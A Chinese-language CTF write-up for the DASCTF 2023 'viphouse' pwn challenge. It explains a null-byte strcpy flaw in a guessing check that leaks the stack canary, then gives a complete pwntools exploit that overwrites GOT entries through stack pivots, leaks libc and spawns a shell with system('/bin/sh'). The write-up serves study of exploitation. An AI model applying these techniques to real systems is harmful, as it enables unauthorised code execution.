[DASCTF 2023 & 0X401七月暑期挑战赛] viphouse复现

这个题想了好久,无果,终于看到WP。照着作了一遍。WP里没有详细解释,所以复现得很辛苦。

程序有5个菜单和1个初始化程序:

  1. init 先从os.random读8个字节放到src处
  2. login 读入用户名密码,其中密码栈里设的0x40可以读入0x68 可以溢出到 canary + rbp  外加3个字。但这里需要有canary才行
  3. UAF有两个菜单一个是建块写入数据一个是删块,由于初始变量为0,退出后再入可以多次建块,但无法多次删,所以这里没有UAF
  4. canary可以给出canary但需要先猜对src存的随机数。
  5. logout置个状态没啥特殊的

一直找不到漏洞点。看WP才恍然大悟。在4这人位置先将src读入到s然后再比较。如果src的第1个字节是0,那么它只复制1个\0后边被初始化的都是0,所以输入8个0就能通过。这里爆破成功率1/256。

[DASCTF 2023 & 0X401七月暑期挑战赛] viphouse复现_第1张图片

 得到canary后可以调用login,通过pass这里的溢出来获取libc和shell,不过负载只有3个字太小了,而且这题只有一个pop rbp 其它都不用pop操作。所以要分几步。

  1. 修改printf为puts

     

    1. 先通过溢出移栈到ptr+0x2a0,执行login(去掉sub rsp部分) [DASCTF 2023 & 0X401七月暑期挑战赛] viphouse复现_第2张图片
    2. 这时候写name的时候会写到ptr上,然后调用add_note向ptr写8字节,也就是向got表写,将printf的got指向plt.puts[DASCTF 2023 & 0X401七月暑期挑战赛] viphouse复现_第3张图片

同上修改__stack_chk_fail的got表为pop rbp;ret 使其不退出,并用pop rbp平衡(进函数时会push rsp,返回时pop rbp 恢复rbp的值为rsp,消除错位rbp的影响)

再执行时name这里可以写ROP了,这里用到gift里一部分

[DASCTF 2023 & 0X401七月暑期挑战赛] viphouse复现_第4张图片

 从这里(0x4015d0)调整rbp,即可通过printf打印出libc值。

然后再一次移栈,输入system(bin/sh)

from pwn import *

context(arch='amd64', log_level = 'debug')

elf = ELF('./viphouse')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#1/256 key = \0XXXXXXX   strcpy -> \0\0\0\0\0\0\0\0
while True:
    p = process('./viphouse')
    #gdb.attach(p,'b*0x40150e\nc')
    #login
    p.sendlineafter(b"Choose an option: ", b'1')
    p.sendlineafter(b"Please enter your username: ", b"admin\x00")
    p.sendlineafter(b"Please enter your password: ", b"root\x00")

    p.sendlineafter(b"Choose an option: ", b'4')
    p.sendlineafter(b"Please input the number you guess: \n", b'\x00'*8)
    if b'gift' in p.recv(0x15):
        break 
    else:
        p.close()
        

canary = int(p.recvline(), 16)
print(f"{canary = :x}")

#gdb.attach(p, 'b*0x401ac3\nc')


bss = 0x404f00
ptr = 0x404128
pop_rbp = 0x40139d
leave_ret = 0x40147b
rsp_offset = 0x2a0
login_no_sub_rsp = 0x401991
p.sendlineafter(b"Choose an option: ", b'5')
p.sendlineafter(b"Choose an option: ", b'1')
p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))


p.sendlineafter(b"Please enter your username: ", p64(elf.got['printf']))   #ptr=got.printf
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #got.printf->plt.puts
p.send(p64(elf.plt['puts']))

p.sendlineafter(b"Please enter your username: ", b"admin\x00")
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset, login_no_sub_rsp))

p.sendlineafter(b"Please enter your username: ", p64(elf.got['__stack_chk_fail']))   #ptr=got.stack_chk_fail
p.sendafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, ptr+rsp_offset+0x10, 0x4017f2, bss, login_no_sub_rsp)) #read got.__stack_chk_fail = pop_rbp;ret
p.send(p64(pop_rbp))

p.sendlineafter(b"Please enter your username: ", flat(elf.got['srand']+0xe, 0x4015d0, elf.sym['login']))   #gift.printf(rbp+format:0xe)
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x404c60, leave_ret)) 

p.recvline()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['srand']
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
ret = pop_rdi+1

print(f"{libc.address = :x}")


p.sendlineafter(b"Please enter your username: ", flat(0, ret, pop_rdi, bin_sh, system)) 
p.sendlineafter(b"Please enter your password: ", b"\x00"*0x40 + flat(canary, 0x4049d0, leave_ret)) 

p.interactive()

你可能感兴趣的:(安全)